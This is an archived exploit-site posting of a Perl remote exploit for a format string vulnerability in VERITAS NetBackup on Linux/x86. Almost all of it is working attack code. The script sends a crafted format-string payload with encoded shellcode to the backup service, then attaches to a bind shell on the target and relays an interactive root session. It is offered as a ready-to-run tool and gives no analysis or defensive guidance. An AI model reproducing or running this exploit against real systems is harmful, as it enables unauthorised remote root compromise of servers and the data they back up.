what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

VERITAS-Linux.pl.txt

VERITAS-Linux.pl.txt
Posted Oct 30, 2005
Authored by John H. | Site digitalmunition.com

VERITAS Netbackup remote format string exploit for Linux.

tags | exploit, remote
systems | linux
SHA-256 | 5ffffc3997e8bb1ec7434b97c95d74bb2103cc01e15991b4779df4cabaf30ce5

VERITAS-Linux.pl.txt

Change Mirror Download
#!/usr/bin/perl
######################################################
# VERITAS-Linux.pl - VERITAS NetBackup Format Strings Linux/x86 Remote Exploit
# johnh[at]digitalmunition[dot]com
# bug found by kf_lists[at]digitalmunition[dot]com
# http://www.digitalmunition.com/
#
# This exploit May NOT be posted to a public Archive like k-otik without being
# in its original GPG form (protected by passphrase)
#
######################################################

use POSIX;
use IO::Socket;
use IO::Select;
use strict;

print STDERR "\nveritas.pl - VERITAS NetBackup Format Strings Linux/x86 Remote Exploit\n";

if ($#ARGV == -1) {
print "Usage:\n\t$0 <hostname> <port>\n\n";
exit (1);
}

my $hostName = $ARGV[0];
my $port = $ARGV[1] || 13722;

buildexploit ($hostName, $port);

my $shellport = 5570;
print "[*] Connect to remote shell port\n";
my $sock = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $hostName,
PeerPort => $shellport,
Type => SOCK_STREAM
);

if (! $sock)
{
print "[*] Error, Seems Failed\n";
exit (0);
}

print "[*] G0t R00T\n";

StartShell ($sock);

sub buildexploit
{
my ($host, $port) = @_;
my $s = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
Type => SOCK_STREAM
);

if (! $s)
{
print "[*] Could not create socket: $!\n";
exit(0);
}

print $s " 118 1\nOWNED BABY\n";
print scalar <$s>;
print scalar <$s>;

my $shellcode = "\x90" x 500 .
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\x13\x99".
"\x37\xe2\x83\xeb\xfc\xe2\xf4\x22\x42\xc0\x01\xa3\xff\x64\xa1\x40".
"\xda\x64\x6b\xf2\xd2\xfa\x62\x9a\x5e\x65\x84\x7b\x8c\xf5\xa1\x75".
"\xca\xbe\x03\xa3\x89\x67\xb3\x44\x10\xd6\x52\x75\x54\xb7\x52\x75".
"\x2a\x33\x2f\x93\xc9\x67\xb5\x9a\x78\x74\x52\x75\x54\xb7\x6b\xca".
"\x10\xf4\x52\x2c\xd0\xfa\x62\x52\x7b\xcf\xb3\x7b\xf7\x18\x91\x7b".
"\xf1\x18\xcd\x71\xf0\xbe\x01\x42\xca\xbe\x03\xa3\x92\xfa\x62";
my $retloc = 0x080b50ec; #0x080b53b4;
my $retaddr = 0x80e0658; # can't use shellcode in stack.
my $hi = ($retaddr >> 0) & 0xffff;
my $lo = ($retaddr >> 16) & 0xffff;


$hi = $hi - 0x28;
$lo = (0x10000 + $lo + 0x28) - $hi - 0x50;

my $align = 3;
my $buffer = " 101 6\n" . "a" x $align . pack ('l', $retloc) . pack ('l', $retloc + 2) .
"%." . $hi . "lx" . "%1694\$hn" .
"%." . $lo . "lx" . "%1695\$hn" .
$shellcode . "\n" .
$shellcode . "\n" .
"i\n" . "0wned\n" . "y0u\n".
"boot.ini\n" . "\n";

print STDERR "Sending " .length($buffer) . " bytes to remote\n";
sleep (10);
print $s $buffer;
print scalar <$s>;

close $s;
}

sub StartShell
{
my ($client) = @_;
my $sel = IO::Select->new();


# unbuffered fun.


Unblock(*STDIN);
Unblock(*STDOUT);
Unblock($client);

select($client); $|++;
select(STDIN); $|++;
select(STDOUT); $|++;

$sel->add($client);
$sel->add(*STDIN);

while (fileno($client))
{
my $fd;
my @fds = $sel->can_read(1);

foreach $fd (@fds)
{
my $in = <$fd>;
if (! $in || ! $fd || ! $client)
{
print "[*] Closing connection.\n";
close($client);
exit(0);
}

if ($fd eq $client)
{
print STDOUT $in;
} else {
print $client $in;
}
}
}
close ($client);
exit (0);
}

sub Unblock {
my $fd = shift;
my $flags;
$flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
}
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close